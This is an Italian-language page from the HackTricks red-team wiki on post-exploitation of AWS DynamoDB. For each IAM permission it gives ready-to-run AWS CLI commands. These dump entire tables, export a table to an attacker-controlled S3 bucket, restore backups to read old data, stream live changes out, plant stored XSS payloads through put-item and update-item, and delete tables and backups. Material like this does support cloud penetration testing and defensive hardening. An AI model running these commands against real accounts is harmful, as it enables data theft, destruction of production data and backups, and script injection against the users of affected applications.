AWS - DynamoDB Post Exploitation

Impara l'hacking AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

DynamoDB

Per ulteriori informazioni controlla:

pageAWS - DynamoDB Enum

dynamodb:BatchGetItem

Un attaccante con queste autorizzazioni sarà in grado di ottenere elementi dalle tabelle tramite la chiave primaria (non è possibile richiedere tutti i dati della tabella). Ciò significa che è necessario conoscere le chiavi primarie (puoi ottenerle ottenendo i metadati della tabella (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nella tabella

dynamodb:GetItem

Simile alle autorizzazioni precedenti questa permette a un potenziale attaccante di leggere i valori da una sola tabella dato il primary key dell'entry da recuperare:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Con questo permesso è anche possibile utilizzare il metodo transact-get-items come:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Impatto Potenziale: Privilegio indiretto tramite individuazione di informazioni sensibili nella tabella

dynamodb:Query

Simile ai permessi precedenti questo consente a un potenziale attaccante di leggere i valori da una sola tabella dato il primary key dell'entry da recuperare. Consente di utilizzare un sottoinsieme di confronti, ma l'unico confronto consentito con il primary key (che deve apparire) è "EQ", quindi non è possibile utilizzare un confronto per ottenere l'intero database in una richiesta.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nella tabella

dynamodb:Scan

Puoi utilizzare questa autorizzazione per scaricare facilmente l'intera tabella.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Impatto Potenziale: Privilege escalation indiretta individuando informazioni sensibili nella tabella

dynamodb:PartiQLSelect

Puoi utilizzare questo permesso per scaricare facilmente l'intera tabella.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

Questa autorizzazione consente anche di eseguire batch-execute-statement come:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

Ma è necessario specificare la chiave primaria con un valore, quindi non è così utile.

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nella tabella

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Questa autorizzazione permetterà a un attaccante di esportare l'intera tabella in un bucket S3 da lui scelto:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Nota che per far funzionare questo, la tabella deve avere il ripristino a un momento precedente abilitato, puoi verificare se la tabella lo ha con:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Se non è abilitato, dovrai abilitarlo e per farlo avrai bisogno dell'autorizzazione dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Impatto Potenziale: Privilegi di escalation indiretta individuando informazioni sensibili nella tabella

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Con queste autorizzazioni, un attaccante sarebbe in grado di creare una nuova tabella da un backup (o addirittura creare un backup per poi ripristinarlo in una tabella diversa). Successivamente, con le autorizzazioni necessarie, sarebbe in grado di controllare informazioni dai backup che potrebbero non essere più presenti nella tabella di produzione.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Impatto Potenziale: Privesc indiretto localizzando informazioni sensibili nel backup della tabella

dynamodb:PutItem

Questa autorizzazione consente agli utenti di aggiungere un nuovo elemento alla tabella o sostituire un elemento esistente con un nuovo elemento. Se un elemento con la stessa chiave primaria esiste già, l'intero elemento verrà sostituito con il nuovo elemento. Se la chiave primaria non esiste, verrà creato un nuovo elemento con la chiave primaria specificata.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Impatto Potenziale: Sfruttare ulteriori vulnerabilità/bypass potendo aggiungere/modificare dati in una tabella DynamoDB

dynamodb:UpdateItem

Questa autorizzazione consente agli utenti di modificare gli attributi esistenti di un elemento o aggiungere nuovi attributi a un elemento. Non sostituisce l'intero elemento; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione creerà un nuovo elemento con la chiave primaria specificata e impostare gli attributi specificati nell'espressione di aggiornamento.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
aws dynamodb update-item \
--table-name ExampleTable \
--key '{"Id": {"S": "1"}}' \
--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
--region <region>

Impatto Potenziale: Sfruttamento di ulteriori vulnerabilità/sbarramenti potendo aggiungere/modificare dati in una tabella DynamoDB

dynamodb:DeleteTable

Un attaccante con questa autorizzazione può eliminare una tabella DynamoDB, causando la perdita di dati.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Impatto potenziale: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata.

dynamodb:DeleteBackup

Un attaccante con questa autorizzazione può eliminare un backup di DynamoDB, causando potenzialmente la perdita di dati in caso di scenario di ripristino dopo un disastro.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Impatto potenziale: Perdita di dati e impossibilità di recuperare un backup durante uno scenario di ripristino dopo un disastro.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Verificare se funziona effettivamente

Un attaccante con queste autorizzazioni può abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a trasmettere le modifiche e quindi accedere allo stream per monitorare le modifiche alla tabella in tempo reale. Ciò consente all'attaccante di monitorare ed estrarre modifiche ai dati, potenzialmente portando a una fuga di dati.

  1. Abilitare uno stream su una tabella DynamoDB:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Descrivere il flusso per ottenere l'ARN e altri dettagli:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Ottenere l'iteratore dello shard utilizzando l'ARN dello stream:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Utilizza il shard iterator per accedere ed esfiltrare dati dallo stream:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Impatto potenziale: Monitoraggio in tempo reale e perdita di dati relativi ai cambiamenti della tabella DynamoDB.

Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated